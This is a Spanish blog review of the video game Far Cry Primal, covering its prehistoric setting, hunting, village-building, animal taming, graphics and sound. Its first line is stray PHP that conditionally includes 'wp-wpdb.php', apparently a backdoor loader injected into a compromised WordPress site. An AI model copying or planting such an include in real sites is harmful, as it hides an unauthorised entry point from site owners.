if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Análisis Far Cry Primal – La Fortaleza de LeChuck

Análisis Far Cry Primal

Hace pocos meses Ubisoft nos sorprendió con Far Cry Primal, un nuevo título de la saga Far Cry que llegaría de forma inminente, adelantándose a esta moda creciente de los juegos «prehistóricos» que parecen querer suceder a la proliferación masiva de juegos de zombies recibidos durante los últimos años. Far Cry Primal se puede considerar un Far Cry «menor», ya que reutiliza el motor gráfico de Far Cry 3 y Far Cry 4, pero su forma de ser lo hace bastante distinto y probablemente mucho más interesante y adictivo para muchos debido a su premisa: sobrevivir en la edad de piedra y hacer prosperar a tu propio poblado.

Far Cry Primal

Far Cry Primal recoge casi todas las mecánicas de cualquier Far Cry, su motor gráfico e incluso un mapeado parecido. Por suerte, el juego se distingue del todo por dos detalles: la necesidad de atacar más «cuerpo a cuerpo», debido al uso de armas primitivas, y la carencia de vehículos al uso, por lo que nos pasaremos la mayor parte del juego explorando a pie todos los parajes de un mundo antepasado.

Primero de todo, debes saber que estamos ante un nuevo juego de mundo abierto, donde nuestro tiempo se irá a pasos agigantados mientras hacemos que nuestro protagonista, Takkar, ayude a su pueblo a recuperarse de un ataque que separa a muchos miembros de la tribu, y acaba con muchos otros. Para hacer crecer a su pueblo no solo necesitará a más miembros, los cuáles serán salvados e invitados a formar parte, también la caza es uno de los puntos fuertes del juego, recogiendo materiales tanto de la fauna, como de la flora y del entorno, para mejorar y apuntalar su asentamiento.

Far Cry Primal

El desarrollo del juego sigue siendo parecido a otros Far Cry, tenemos un enemigo en forma de tribu rival, y debemos sobrevivir a su masificación mientras rescatamos a compañeros y descubrimos nuevas zonas, siempre con la guía de nuestros más allegados, y con un enemigo común que se siente vivo: los animales. Sin duda, una de las grandes diferencias de este juego frente a otros Far Cry, es la mayor necesidad de protegerse de los depredadores que campan por el mapeado, como lobos, osos, jabalíes, los cuales se comportarán de forma muy realista atacando a otros animales para sobrevivir, o situaciones tan interesantes como el ataque animal a enemigos que podamos encontrarnos por nuestro camino, para los cuáles, muchas veces, solo tendremos que esperar para ver su destino, que de una u otra forma iba a ser el mismo.

Si durante el día corremos ciertos peligros en este mundo salvaje, cuando el tiempo pasa y cae la noche, los depredadores más agresivos aprovechan para marcar territorio y/o atacar a seres más indefensos. Una de las escenas más interesantes que he vivido ha sido la de estar esperando en lo alto de un montículo a que pasara la noche, por falta de munición para defenderme (garrotes, arco y flechas y lanzas que vamos confeccionando y evolucionando según encontramos los materiales), viendo como a los alrededores se disputaban peleas entre todos esos animales ante los que estamos completamente indefensos sin nuestras armas. La sensación «Primal» fue total, y un auténtico puntazo positivo respecto a otros Far Cry que quizás los recorridos fuera de misión se hacían mucho más sencillos.

Far Cry Primal

Otros detalles «FarCryanos» vuelven también en Far Cry Primal, las «vistas de águila» para descubrir mapa, aquí son hogueras que encenderemos en lo alto de montañas. La recuperación de vida funcionará de la misma forma y podremos ir mejorando para obtener más vida. Tendremos una visión de cazador que tiñe la pantalla de blanco y negro y solo resalta las huellas o puntos de interés en nuestra visibilidad, que servirá, por ejemplo, para rastrear la sangre de un jabalí al que hemos dejado en las últimas por una flecha, o la posición de objetos recolectables para la mejora de nuestra aldea o nuestras armas, también al más puro estilo «Far Cry».

Este asentamiento no será algo que simplemente iremos mejorando, ya que, igual que nos veremos obligados a atacar nosotros a poblados enemigos para sobrevivir, también estas otras tribus atacarán nuestro poblado sintiéndose amenazados por su rápido crecimiento, y por supuesto, tendremos que estar al pie del cañón defendiéndolo, aunque sucederá siempre al iniciar la misión cuando hablemos con alguno de los aldeanos principales (y no de forma espontánea como podías haber entendido).

Far Cry Primal

Otro punto fuerte es la rápida dominación del arte de adiestrar animales, que nos permitirá que utilicemos las habilidades de los más útiles pasando por un ritual de amansamiento, previo a «engatusar» con algunos cebos que necesitaremos «cocinar» para cada uno de ellos y así ganarnos su confianza. Sin duda, tener a nuestro lado aves, lobos o incluso un mamut, nos ayudará mucho en la aventura y se harán indispensables en algunos casos, aunque la aventura siempre nos guiará para enseñarnos cuando es el momento adecuado para intentar adiestrar cada animal.

Técnicamente, estamos ante un título muy sólido, que sigue la senda de Far Cry 4, mejorando algunos aspectos como el frame-rate, por lo que el juego se mueve muy fluido. El motor gráfico (Cry Engine) sigue mostrando escenarios impresionantes y grandes horizontes, por contra de algunas texturas y efectos de iluminación ya algo anticuados, que denotan que este motor ya lo tenemos más visto. Sobre todo notamos esto cuando se hace de noche, ya que el granulado da una sensación muy de anterior generación. Los personajes y sus expresiones faciales impresionan.

Dentro de un excelente apartado sonoro, destacamos el idioma «inventado» prehistórico para el título (no tiene doblaje a ningún idioma), y los efectos generales de animales y ruidos propios de la naturaleza, sin duda con un buen equipo de sonido te hará sentir toda la crudeza de la intemperie e inseguridad.

Far Cry Primal me ha sorprendido gratamente pasadas las horas iniciales. En un principio, las típicas cinemáticas de la saga me empañaban la ambientación por la sensación de estar demasiado guiado, muy al estilo Ubisoft, siempre mirando por el bien de los más novatos. En cuanto te sueltan un poco, disfrutas de la edad de piedra como nunca antes lo has hecho, y te traslada a aquellos tiempos en los que la piedra y el fuego eran tus mayores aliados, y otras personas y los animales, enemigos que se disputarían la vida contigo en segundos. Muy «Far Cry» sí, pero más cuerpo a cuerpo, y más de «a pie» y toda una experiencia primitiva que has de vivir.

Por Museboy

Como la mayoría de vosotros, crecí jugando a videojuegos y ahora intento transmitir toda la pasión por este mundo en La Fortaleza de LeChuck. También busco ofertas de videojuegos. Seguidme en Twitter y sabréis de qué hablo.

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